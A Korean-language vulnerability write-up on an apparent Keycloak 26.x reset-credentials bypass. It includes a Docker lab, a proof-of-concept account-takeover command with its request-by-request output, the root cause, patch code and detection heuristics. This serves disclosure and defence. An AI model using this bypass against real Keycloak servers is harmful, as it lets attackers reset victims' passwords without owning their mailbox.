
PoC, Dockerfile 플레이그라운드 및 패치 diff 분석을 통한 근본 원인.
Keycloak 26.x 버전의 reset-credentials 플로우 우회를 테스트하기 위한 Docker 설정입니다. 포함된 랩은 영향을 받는 범위(>26.0 및 <26.7.2)에 속하는 Keycloak 26.6.2를 고정합니다.
요구 사항: Docker, Docker Compose, Python 3. Docker 이미지 quay.io/keycloak/keycloak:26.6.2로 테스트되었습니다.
docker compose up -d
curl http://127.0.0.1:8080
compose 파일은 임시 admin/admin-password-for-lab 관리자로 Keycloak 26.6.2를 시작합니다. Admin Console 또는 Admin REST API를 통해 테스트 영역(realm)과 사용자를 생성하세요. reset 플로우가 활성화되어 있어야 하며 내장된 reset-credential-email 실행이 접근 가능해야 합니다.
ATO 예시:
python Keycloak_CVE_2026_18963.py \
http://127.0.0.1:8080 --realm <known realm> --username <known victim> \
--new-password '<pw>' \
--allow-loopback-http-cookie --change-password
loopback-cookie 옵션은 이 HTTP Docker 랩에서만 존재합니다. 성공적인 검증 / 악용
[1 auth] 200
http://127.0.0.1:8080/realms/lab/protocol/openid-connect/auth?client_id=account&response_type=code&scope=openid&redirect_u
ri=http%3A%2F%2F127.0.0.1%3A8080%2Frealms%2Flab%2Faccount
[2 reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[3 selector] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=Wwe-IHExupWb_ILMjGyo3yEQ2HaXVmJpOs9B0BqonaM&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[4 email execution] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?session_code=28vxgj65L2OrGVnpVsgnRDcuBDMsOQvLxCTTO4AU5hk&
execution=86392d73-230f-421a-9c65-6fda522eb4e4&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC
4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[5 restart] 200
http://127.0.0.1:8080/realms/lab/login-actions/authenticate?client_id=account&tab_id=p6T6Jg9X6Eo&client_data=eyJydSI6Imh0d
HA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[6 stale reset] 200
http://127.0.0.1:8080/realms/lab/login-actions/reset-credentials?client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6
Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[7 bypass] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?execution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g61
4jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvbGFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
[+] Vulnerable: password-update form reached without email action token
[8 password update] 200
http://127.0.0.1:8080/realms/lab/login-actions/required-action?session_code=SZO0z_bfNhtxJ1akEIZDdrZzNNJfZ8iELQwLsnXYY90&ex
ecution=UPDATE_PASSWORD&client_id=account&tab_id=D99m6g614jQ&client_data=eyJydSI6Imh0dHA6Ly8xMjcuMC4wLjE6ODA4MC9yZWFsbXMvb
GFiL2FjY291bnQiLCJydCI6ImNvZGUifQ
비밀번호 찾기(Forgot Password)가 취약한 내장 reset-credentials 플로우를 사용할 때 인증되지 않은 계정 탈취가 발생합니다. 이메일 소유 단계가 해당 액션 토큰을 소비하지 않고 성공으로 표시되어 공격자가 UPDATE_PASSWORD로 진행할 수 있습니다.
두 가지 상태 머신 결함이 결합됩니다:
tryAnotherWay는 인증 세션에서 전역 부울 값으로 AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED=true를 저장했습니다. 이 값은 선택기를 표시한 실행에 바인딩되지 않아 오래된 선택기 상태가 다른 reset 플로우 실행에 영향을 미칠 수 있었습니다.ResetCredentialEmail.action()은 모든 호출을 수락했습니다:@Override
public void action(AuthenticationFlowContext context) {
context.success();
}
따라서 조작된 reset 플로우 시퀀스는 선택기/현재 실행 상태를 조작하고 이메일 링크를 클릭하지 않고 이메일 인증자 액션을 호출할 수 있습니다. Keycloak은 이메일 단계를 완료된 것으로 간주하고 선택된 피해자에 대한 비밀번호 업데이트 실행을 노출합니다.
reset 이메일은 여전히 생성되고 SEND_RESET_PASSWORD가 기록될 수 있습니다. 사서함 또는 토큰의 소유는 필요하지 않습니다.
선택기 상태는 이제 정확한 실행 모델에 바인딩됩니다:
setAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, model.getId());
노트가 CURRENT_AUTHENTICATION_EXECUTION과 일치하지 않으면 제거됩니다. 더 중요한 것은, 이메일 액션이 이제 플로우 사용자와 일치하는 액션 토큰 ID를 요구한다는 것입니다:
UserModel user = context.getUser();
String tokenUserId = context.getAuthenticationSession()
.getAuthNote(DefaultActionTokenKey.ACTION_TOKEN_USER_ID);
if (user != null && user.getId().equals(tokenUserId)) {
context.success();
} else {
context.failure(AuthenticationFlowError.INVALID_USER);
}
keycloak-services 플로우를 상속했습니다. 악용 가능한 선택기 상태 변경은 26.0.0에서 도입되었습니다.reset-credential-email이 접근 가능하고 바인딩되어 있어야 합니다. 비밀번호 찾기를 비활성화하면 이 경로가 차단됩니다.Keycloak에는 명확한 "이메일 토큰 건너뜀" 이벤트가 없습니다. 플로우 타이밍과 리버스 프록시 로그를 상호 연관시키세요:
code_id: SEND_RESET_PASSWORD → UPDATE_PASSWORD가 몇 초 내에 발생tryAnotherWay 포함)GET /login-actions/action-token의 중간 개입 없음이는 휴리스틱입니다: 이메일이 이미 열려 있는 사용자는 빠르게 재설정할 수 있으며, 로깅/보존이 비활성화된 경우 이벤트가 없다고 해서 아무것도 증명되지 않습니다.
인증 플로우 상태 혼동 + 무조건적인 인증자 성공은 소유 확인을 우회합니다. 일반적인 테스트 엣지: 인증 실행이 재방문되거나, "다른 방법 시도"로 전환되거나, 오래된 URL에서 재개될 수 있을 때마다 각 인증자가 공유 플로우 상태를 신뢰하는 대신 자체 증명을 재검증하는지 확인하세요.
업스트림 패치 참조: https://github.com/keycloak/keycloak/pull/51844